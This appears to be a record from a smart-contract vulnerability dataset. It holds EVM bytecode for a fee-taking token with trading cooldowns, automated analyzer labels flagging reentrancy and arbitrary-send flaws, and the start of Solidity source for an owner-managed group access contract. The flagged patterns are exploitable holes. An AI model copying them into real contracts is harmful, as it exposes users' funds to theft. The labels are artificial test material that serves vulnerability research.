3b1580156113d457600080fd5b505afa1580156113e8573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061140c919061361a565b6040518363ffffffff1660e01b8152600401611429929190613b4b565b602060405180830381600087803b15801561144357600080fd5b505af1158015611457573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061147b919061361a565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061150430610a29565b60008061150f610bcd565b426040518863ffffffff1660e01b815260040161153196959493929190613b9d565b6060604051808303818588803b15801561154a57600080fd5b505af115801561155e573d6000803e3d6000fd5b50505050506040513d601f19601f8201168201806040525081019061158391906137ea565b505050674563918244f40000601081905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611634929190613b74565b602060405180830381600087803b15801561164e57600080fd5b505af1158015611662573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116869190613790565b5050565b6000613840600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546116dc9190613f31565b4211156116ec5760009050611732565b600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015490505b919050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156117af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117a690613d9b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561181f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181690613c7b565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118fd9190613dfb565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561197a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161197190613d7b565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119e190613c3b565b60405180910390fd5b60008111611a2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a2490613d5b565b60405180910390fd5b611a35610bcd565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611aa35750611a73610bcd565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561288f57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b4c5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611b5557600080fd5b6001601554611b649190613f31565b4311158015611b74575060105481145b15611d9357601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c255750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611c87576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611d92565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611d335750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611d91576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff16611ea0576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611f4b5750601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b8015611fa15750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561229f5760148054906101000a900460ff16611ff3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611fea90613ddb565b60405180910390fd5b6003600a819055506006600b8190555042601754111561206e57600061201883610a29565b905061204a606461203c6005683635c9adc5dea00000612da790919063ffffffff16565b612e2290919063ffffffff16565b61205d8284612e6c90919063ffffffff16565b111561206857600080fd5b50612144565b6120bf60646120b160056120a3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a29565b612da790919063ffffffff16565b612e2290919063ffffffff16565b81106120da576001600a819055506002600b81905550612143565b61212b606461211d600361210f601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a29565b612da790919063ffffffff16565b612e2290919063ffffffff16565b8110612142576002600a819055506004600b819055505b5b5b601460159054906101000a900460ff161561229e5742601654111561224a5760105481111561217257600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060000154106121f6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ed90613c9b565b60405180910390fd5b602d426122039190613f31565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f426122579190613f31565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006122aa30610a29565b9050601460169054906101000a900460ff161580156123175750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b801561232d575060148054906101000a900460ff165b1561288d57601460159054906101000a900460ff16156123cc5742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106123cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123c290613cfb565b60405180910390fd5b5b6004600a81905550601c600b8190555061242d606461241f6003612411601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a29565b612da790919063ffffffff16565b612e2290919063ffffffff16565b82111561243957600080fd5b4260175410156127b257613840600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546124939190613f31565b4211156124e3576000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201819055505b6000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015414156125e2576002600a81905550600c600b81905550600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600081548092919061259190614111565b919050555042600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055506127b1565b6001600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154141561269a576002600a819055506012600b81905550600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600081548092919061269090614111565b91905055506127b0565b6002600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201541415612752576003600a819055506017600b81905550600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201600081548092919061274890614111565b91905055506127af565b6003600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015414156127ae576004600a81905550601c600b819055505b5b5b5b5b60008111156128735761280d60646127ff600c546127f1601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a29565b612da790919063ffffffff16565b612e2290919063ffffffff16565b811115612869576128666064612858600c5461284a601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610a29565b612da790919063ffffffff16565b612e2290919063ffffffff16565b90505b61287281612b1f565b5b6000479050600081111561288b5761288a476129b6565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806129365750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561294057600090505b61294c84848484612eca565b50505050565b600083831115829061299a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016129919190613c19565b60405180910390fd5b50600083856129a99190614012565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612a06600284612e2290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612a31573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612a82600284612e2290919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612aad573d6000803e3d6000fd5b5050565b6000600854821115612af8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612aef90613c5b565b60405180910390fd5b6000612b02612ef7565b9050612b178184612e2290919063ffffffff16565b915050919050565b6001601460166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612b5757612b566141e7565b5b604051908082528060200260200182016040528015612b855781602001602082028036833780820191505090505b5090503081600081518110612b9d57612b9c6141b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612c3f57600080fd5b505afa158015612c53573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612c77919061361a565b81600181518110612c8b57612c8a6141b8565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050612cf230601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461173f565b601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612d56959493929190613e16565b600060405180830381600087803b158015612d7057600080fd5b505af1158015612d84573d6000803e3d6000fd5b50505050506000601460166101000a81548160ff02191690831515021790555050565b600080831415612dba5760009050612e1c565b60008284612dc89190613fb8565b9050828482612dd79190613f87565b14612e17576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e0e90613d1b565b60405180910390fd5b809150505b92915050565b6000612e6483836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250612f22565b905092915050565b6000808284612e7b9190613f31565b905083811015612ec0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612eb790613cbb565b60405180910390fd5b8091505092915050565b80612ed857612ed7612f85565b5b612ee3848484612fc8565b80612ef157612ef0613193565b5b50505050565b6000806000612f046131a7565b91509150612f1b8183612e2290919063ffffffff16565b9250505090565b60008083118290612f69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f609190613c19565b60405180910390fd5b5060008385612f789190613f87565b9050809150509392505050565b6000600a54148015612f9957506000600b54145b15612fa357612fc6565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b600080600080600080612fda87613209565b95509550955095509550955061303886600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461327190919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506130cd85600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e6c90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613119816132bb565b6131238483613378565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516131809190613dfb565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea0000090506131dd683635c9adc5dea00000600854612e2290919063ffffffff16565b8210156131fc57600854683635c9adc5dea00000935093505050613205565b81819350935050505b9091565b60008060008060008060008060006132268a600a54600b546133b2565b9250925092506000613236612ef7565b905060008060006132498e878787613448565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006132b383836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612952565b905092915050565b60006132c5612ef7565b905060006132dc8284612da790919063ffffffff16565b905061333081600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612e6c90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61338d8260085461327190919063ffffffff16565b6008819055506133a881600954612e6c90919063ffffffff16565b6009819055505050565b6000806000806133de60646133d0888a612da790919063ffffffff16565b612e2290919063ffffffff16565b9050600061340860646133fa888b612da790919063ffffffff16565b612e2290919063ffffffff16565b9050600061343182613423858c61327190919063ffffffff16565b61327190919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806134618589612da790919063ffffffff16565b905060006134788689612da790919063ffffffff16565b9050600061348f8789612da790919063ffffffff16565b905060006134b8826134aa858761327190919063ffffffff16565b61327190919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006134e46134df84613eb0565b613e8b565b905080838252602082019050828560208602820111156135075761350661421b565b5b60005b85811015613537578161351d8882613541565b84526020840193506020830192505060018101905061350a565b5050509392505050565b600081359050613550816145cf565b92915050565b600081519050613565816145cf565b92915050565b600082601f8301126135805761357f614216565b5b81356135908482602086016134d1565b91505092915050565b6000813590506135a8816145e6565b92915050565b6000815190506135bd816145e6565b92915050565b6000813590506135d2816145fd565b92915050565b6000815190506135e7816145fd565b92915050565b60006020828403121561360357613602614225565b5b600061361184828501613541565b91505092915050565b6000602082840312156136305761362f614225565b5b600061363e84828501613556565b91505092915050565b6000806040838503121561365e5761365d614225565b5b600061366c85828601613541565b925050602061367d85828601613541565b9150509250929050565b6000806000606084860312156136a05761369f614225565b5b60006136ae86828701613541565b93505060206136bf86828701613541565b92505060406136d0868287016135c3565b9150509250925092565b600080604083850312156136f1576136f0614225565b5b60006136ff85828601613541565b9250506020613710858286016135c3565b9150509250929050565b6000602082840312156137305761372f614225565b5b600082013567ffffffffffffffff81111561374e5761374d614220565b5b61375a8482850161356b565b91505092915050565b60006020828403121561377957613778614225565b5b600061378784828501613599565b91505092915050565b6000602082840312156137a6576137a5614225565b5b60006137b4848285016135ae565b91505092915050565b6000602082840312156137d3576137d2614225565b5b60006137e1848285016135c3565b91505092915050565b60008060006060848603121561380357613802614225565b5b6000613811868287016135d8565b9350506020613822868287016135d8565b9250506040613833868287016135d8565b9150509250925092565b60006138498383613855565b60208301905092915050565b61385e81614046565b82525050565b61386d81614046565b82525050565b600061387e82613eec565b6138888185613f0f565b935061389383613edc565b8060005b838110156138c45781516138ab888261383d565b97506138b683613f02565b925050600181019050613897565b5085935050505092915050565b6138da81614058565b82525050565b6138e98161409b565b82525050565b60006138fa82613ef7565b6139048185613f20565b93506139148185602086016140ad565b61391d8161422a565b840191505092915050565b6000613935602383613f20565b91506139408261423b565b604082019050919050565b6000613958602a83613f20565b91506139638261428a565b604082019050919050565b600061397b602283613f20565b9150613986826142d9565b604082019050919050565b600061399e602283613f20565b91506139a982614328565b604082019050919050565b60006139c1601b83613f20565b91506139cc82614377565b602082019050919050565b60006139e4601583613f20565b91506139ef826143a0565b602082019050919050565b6000613a07602383613f20565b9150613a12826143c9565b604082019050919050565b6000613a2a602183613f20565b9150613a3582614418565b604082019050919050565b6000613a4d602083613f20565b9150613a5882614467565b602082019050919050565b6000613a70602983613f20565b9150613a7b82614490565b604082019050919050565b6000613a93602583613f20565b9150613a9e826144df565b604082019050919050565b6000613ab6602483613f20565b9150613ac18261452e565b604082019050919050565b6000613ad9601783613f20565b9150613ae48261457d565b602082019050919050565b6000613afc601883613f20565b9150613b07826145a6565b602082019050919050565b613b1b81614084565b82525050565b613b2a8161408e565b82525050565b6000602082019050613b456000830184613864565b92915050565b6000604082019050613b606000830185613864565b613b6d6020830184613864565b9392505050565b6000604082019050613b896000830185613864565b613b966020830184613b12565b9392505050565b600060c082019050613bb26000830189613864565b613bbf6020830188613b12565b613bcc60408301876138e0565b613bd960608301866138e0565b613be66080830185613864565b613bf360a0830184613b12565b979650505050505050565b6000602082019050613c1360008301846138d1565b92915050565b60006020820190508181036000830152613c3381846138ef565b905092915050565b60006020820190508181036000830152613c5481613928565b9050919050565b60006020820190508181036000830152613c748161394b565b9050919050565b60006020820190508181036000830152613c948161396e565b9050919050565b60006020820190508181036000830152613cb481613991565b9050919050565b60006020820190508181036000830152613cd4816139b4565b9050919050565b60006020820190508181036000830152613cf4816139d7565b9050919050565b60006020820190508181036000830152613d14816139fa565b9050919050565b60006020820190508181036000830152613d3481613a1d565b9050919050565b60006020820190508181036000830152613d5481613a40565b9050919050565b60006020820190508181036000830152613d7481613a63565b9050919050565b60006020820190508181036000830152613d9481613a86565b9050919050565b60006020820190508181036000830152613db481613aa9565b9050919050565b60006020820190508181036000830152613dd481613acc565b9050919050565b60006020820190508181036000830152613df481613aef565b9050919050565b6000602082019050613e106000830184613b12565b92915050565b600060a082019050613e2b6000830188613b12565b613e3860208301876138e0565b8181036040830152613e4a8186613873565b9050613e596060830185613864565b613e666080830184613b12565b9695505050505050565b6000602082019050613e856000830184613b21565b92915050565b6000613e95613ea6565b9050613ea182826140e0565b919050565b6000604051905090565b600067ffffffffffffffff821115613ecb57613eca6141e7565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000613f3c82614084565b9150613f4783614084565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115613f7c57613f7b61415a565b5b828201905092915050565b6000613f9282614084565b9150613f9d83614084565b925082613fad57613fac614189565b5b828204905092915050565b6000613fc382614084565b9150613fce83614084565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156140075761400661415a565b5b828202905092915050565b600061401d82614084565b915061402883614084565b92508282101561403b5761403a61415a565b5b828203905092915050565b600061405182614064565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006140a682614084565b9050919050565b60005b838110156140cb5780820151818401526020810190506140b0565b838111156140da576000848401525b50505050565b6140e98261422a565b810181811067ffffffffffffffff82111715614108576141076141e7565b5b80604052505050565b600061411c82614084565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561414f5761414e61415a565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b6145d881614046565b81146145e357600080fd5b50565b6145ef81614058565b81146145fa57600080fd5b50565b61460681614084565b811461461157600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122081a8d863e585fa57f8466d576cd8637d3abbb9ccfc385e5f9d5b3cb301cd001164736f6c63430008050033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,267 |
0xdbf2da30cdb8b03d46752d320ed1415a56b83abb
|
pragma solidity ^0.4.18;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Owned contract with safe ownership pass.
*
* Note: all the non constant functions return false instead of throwing in case if state change
* didn't happen yet.
*/
contract Owned {
/**
* Contract owner address
*/
address public contractOwner;
/**
* Contract owner address
*/
address public pendingContractOwner;
function Owned() {
contractOwner = msg.sender;
}
/**
* @dev Owner check modifier
*/
modifier onlyContractOwner() {
if (contractOwner == msg.sender) {
_;
}
}
/**
* @dev Destroy contract and scrub a data
* @notice Only owner can call it
*/
function destroy() onlyContractOwner {
suicide(msg.sender);
}
/**
* Prepares ownership pass.
*
* Can only be called by current owner.
*
* @param _to address of the next owner. 0x0 is not allowed.
*
* @return success.
*/
function changeContractOwnership(address _to) onlyContractOwner() returns(bool) {
if (_to == 0x0) {
return false;
}
pendingContractOwner = _to;
return true;
}
/**
* Finalize ownership pass.
*
* Can only be called by pending owner.
*
* @return success.
*/
function claimContractOwnership() returns(bool) {
if (pendingContractOwner != msg.sender) {
return false;
}
contractOwner = pendingContractOwner;
delete pendingContractOwner;
return true;
}
}
contract ERC20Interface {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed from, address indexed spender, uint256 value);
string public symbol;
function totalSupply() constant returns (uint256 supply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
}
/**
* @title Generic owned destroyable contract
*/
contract Object is Owned {
/**
* Common result code. Means everything is fine.
*/
uint constant OK = 1;
uint constant OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER = 8;
function withdrawnTokens(address[] tokens, address _to) onlyContractOwner returns(uint) {
for(uint i=0;i<tokens.length;i++) {
address token = tokens[i];
uint balance = ERC20Interface(token).balanceOf(this);
if(balance != 0)
ERC20Interface(token).transfer(_to,balance);
}
return OK;
}
function checkOnlyContractOwner() internal constant returns(uint) {
if (contractOwner == msg.sender) {
return OK;
}
return OWNED_ACCESS_DENIED_ONLY_CONTRACT_OWNER;
}
}
contract GroupsAccessManagerEmitter {
event UserCreated(address user);
event UserDeleted(address user);
event GroupCreated(bytes32 groupName);
event GroupActivated(bytes32 groupName);
event GroupDeactivated(bytes32 groupName);
event UserToGroupAdded(address user, bytes32 groupName);
event UserFromGroupRemoved(address user, bytes32 groupName);
}
/// @title Group Access Manager
///
/// Base implementation
/// This contract serves as group manager
contract GroupsAccessManager is Object, GroupsAccessManagerEmitter {
uint constant USER_MANAGER_SCOPE = 111000;
uint constant USER_MANAGER_MEMBER_ALREADY_EXIST = USER_MANAGER_SCOPE + 1;
uint constant USER_MANAGER_GROUP_ALREADY_EXIST = USER_MANAGER_SCOPE + 2;
uint constant USER_MANAGER_OBJECT_ALREADY_SECURED = USER_MANAGER_SCOPE + 3;
uint constant USER_MANAGER_CONFIRMATION_HAS_COMPLETED = USER_MANAGER_SCOPE + 4;
uint constant USER_MANAGER_USER_HAS_CONFIRMED = USER_MANAGER_SCOPE + 5;
uint constant USER_MANAGER_NOT_ENOUGH_GAS = USER_MANAGER_SCOPE + 6;
uint constant USER_MANAGER_INVALID_INVOCATION = USER_MANAGER_SCOPE + 7;
uint constant USER_MANAGER_DONE = USER_MANAGER_SCOPE + 11;
uint constant USER_MANAGER_CANCELLED = USER_MANAGER_SCOPE + 12;
using SafeMath for uint;
struct Member {
address addr;
uint groupsCount;
mapping(bytes32 => uint) groupName2index;
mapping(uint => uint) index2globalIndex;
}
struct Group {
bytes32 name;
uint priority;
uint membersCount;
mapping(address => uint) memberAddress2index;
mapping(uint => uint) index2globalIndex;
}
uint public membersCount;
mapping(uint => address) index2memberAddress;
mapping(address => uint) memberAddress2index;
mapping(address => Member) address2member;
uint public groupsCount;
mapping(uint => bytes32) index2groupName;
mapping(bytes32 => uint) groupName2index;
mapping(bytes32 => Group) groupName2group;
mapping(bytes32 => bool) public groupsBlocked; // if groupName => true, then couldn't be used for confirmation
function() payable public {
revert();
}
/// @notice Register user
/// Can be called only by contract owner
///
/// @param _user user address
///
/// @return code
function registerUser(address _user) external onlyContractOwner returns (uint) {
require(_user != 0x0);
if (isRegisteredUser(_user)) {
return USER_MANAGER_MEMBER_ALREADY_EXIST;
}
uint _membersCount = membersCount.add(1);
membersCount = _membersCount;
memberAddress2index[_user] = _membersCount;
index2memberAddress[_membersCount] = _user;
address2member[_user] = Member(_user, 0);
UserCreated(_user);
return OK;
}
/// @notice Discard user registration
/// Can be called only by contract owner
///
/// @param _user user address
///
/// @return code
function unregisterUser(address _user) external onlyContractOwner returns (uint) {
require(_user != 0x0);
uint _memberIndex = memberAddress2index[_user];
if (_memberIndex == 0 || address2member[_user].groupsCount != 0) {
return USER_MANAGER_INVALID_INVOCATION;
}
uint _membersCount = membersCount;
delete memberAddress2index[_user];
if (_memberIndex != _membersCount) {
address _lastUser = index2memberAddress[_membersCount];
index2memberAddress[_memberIndex] = _lastUser;
memberAddress2index[_lastUser] = _memberIndex;
}
delete address2member[_user];
delete index2memberAddress[_membersCount];
delete memberAddress2index[_user];
membersCount = _membersCount.sub(1);
UserDeleted(_user);
return OK;
}
/// @notice Create group
/// Can be called only by contract owner
///
/// @param _groupName group name
/// @param _priority group priority
///
/// @return code
function createGroup(bytes32 _groupName, uint _priority) external onlyContractOwner returns (uint) {
require(_groupName != bytes32(0));
if (isGroupExists(_groupName)) {
return USER_MANAGER_GROUP_ALREADY_EXIST;
}
uint _groupsCount = groupsCount.add(1);
groupName2index[_groupName] = _groupsCount;
index2groupName[_groupsCount] = _groupName;
groupName2group[_groupName] = Group(_groupName, _priority, 0);
groupsCount = _groupsCount;
GroupCreated(_groupName);
return OK;
}
/// @notice Change group status
/// Can be called only by contract owner
///
/// @param _groupName group name
/// @param _blocked block status
///
/// @return code
function changeGroupActiveStatus(bytes32 _groupName, bool _blocked) external onlyContractOwner returns (uint) {
require(isGroupExists(_groupName));
